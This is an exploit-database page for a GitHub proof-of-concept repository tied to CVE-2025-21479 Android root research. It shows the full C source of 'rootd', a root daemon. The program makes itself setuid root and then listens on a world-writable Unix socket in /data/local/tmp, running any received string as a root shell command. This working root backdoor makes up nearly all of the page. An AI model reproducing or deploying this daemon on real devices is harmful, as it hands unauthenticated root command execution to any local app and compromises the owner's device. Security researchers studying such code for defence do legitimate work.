Exploit database

GH-7da3037e85220fb3dc9969b6c54f6f99

reaizuguo/vivo_iqoo_neo_9_root_research_on_cve-2025-21479

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-21479

11 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

archive/rootd.c

C · 3,153 bytes
// rootd.c - root daemon: 自提升 (chown 0:0 + setuid 位) 后 exec --service
// --service: socket 命令服务 (fork sh -c 执行, euid=0 -> legacy root -> 命令全 caps)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <signal.h>
#include <fcntl.h>
#include <errno.h>

#define SOCK_PATH "/data/local/tmp/rootd.sock"
#define CMD_MAX 4096

static void write_caps_report(void) {
    int fd = open("/data/local/tmp/rootd_caps.txt", O_WRONLY | O_CREAT | O_TRUNC, 0666);
    if (fd < 0) return;
    char buf[512];
    int n = snprintf(buf, sizeof(buf), "uid=%d euid=%d gid=%d\n", getuid(), geteuid(), getgid());
    if (n > 0) write(fd, buf, n);
    // 读 /proc/self/status 的 CapEff
    int sf = open("/proc/self/status", O_RDONLY);
    if (sf >= 0) {
        char sb[4096];
        ssize_t m = read(sf, sb, sizeof(sb) - 1);
        if (m > 0) {
            sb[m] = 0;
            char* p = strstr(sb, "CapEff:");
            if (p) {
                char* e = strchr(p, '\n');
                if (e) *e = 0;
                write(fd, p, strlen(p));
                write(fd, "\n", 1);
            }
        }
        close(sf);
    }
    write(fd, "ready\n", 6);
    close(fd);
}

static void run_service(void) {
    setsid();
    signal(SIGHUP, SIG_IGN);
    signal(SIGPIPE, SIG_IGN);
    unlink(SOCK_PATH);
    int fd = socket(AF_UNIX, SOCK_STREAM, 0);
    if (fd < 0) { perror("socket"); return; }
    struct sockaddr_un addr;
    memset(&addr, 0, sizeof(addr));
    addr.sun_family = AF_UNIX;
    strncpy(addr.sun_path, SOCK_PATH, sizeof(addr.sun_path) - 1);
    chmod(SOCK_PATH, 0666);
    if (bind(fd, (struct sockaddr*)&addr, sizeof(addr)) < 0) { perror("bind"); return; }
    if (listen(fd, 8) < 0) { perror("listen"); return; }
    for (;;) {
        int c = accept(fd, NULL, NULL);
        if (c < 0) continue;
        char cmd[CMD_MAX];
        ssize_t n = read(c, cmd, sizeof(cmd) - 1);
        if (n <= 0) { close(c); continue; }
        cmd[n] = 0;
        while (n > 0 && (cmd[n-1] == '\n' || cmd[n-1] == '\r')) cmd[--n] = 0;
        if (!*cmd) { close(c); continue; }
        pid_t pid = fork();
        if (pid == 0) {
            dup2(c, 1);
            dup2(c, 2);
            close(c);
            execl("/system/bin/sh", "sh", "-c", cmd, (char*)NULL);
            _exit(1);
        }
        int st = 0;
        waitpid(pid, &st, 0);
        dprintf(c, "\n[rc=%d]\n", WIFEXITED(st) ? WEXITSTATUS(st) : -1);
        close(c);
    }
}

int main(int argc, char** argv) {
    if (argc > 1 && !strcmp(argv[1], "--service")) {
        write_caps_report();
        run_service();
        return 0;
    }
    // 提升阶段: 需要 CAP_CHOWN/CAP_FOWNER (内嵌 daemon 提供全 caps 上下文)
    if (chown("/data/local/tmp/rootd", 0, 0) != 0) {
        perror("chown");
        return 1;
    }
    if (chmod("/data/local/tmp/rootd", 04755) != 0) {
        perror("chmod");
        return 1;
    }
    execl("/data/local/tmp/rootd", "rootd", "--service", (char*)NULL);
    perror("re-exec");
    return 1;
}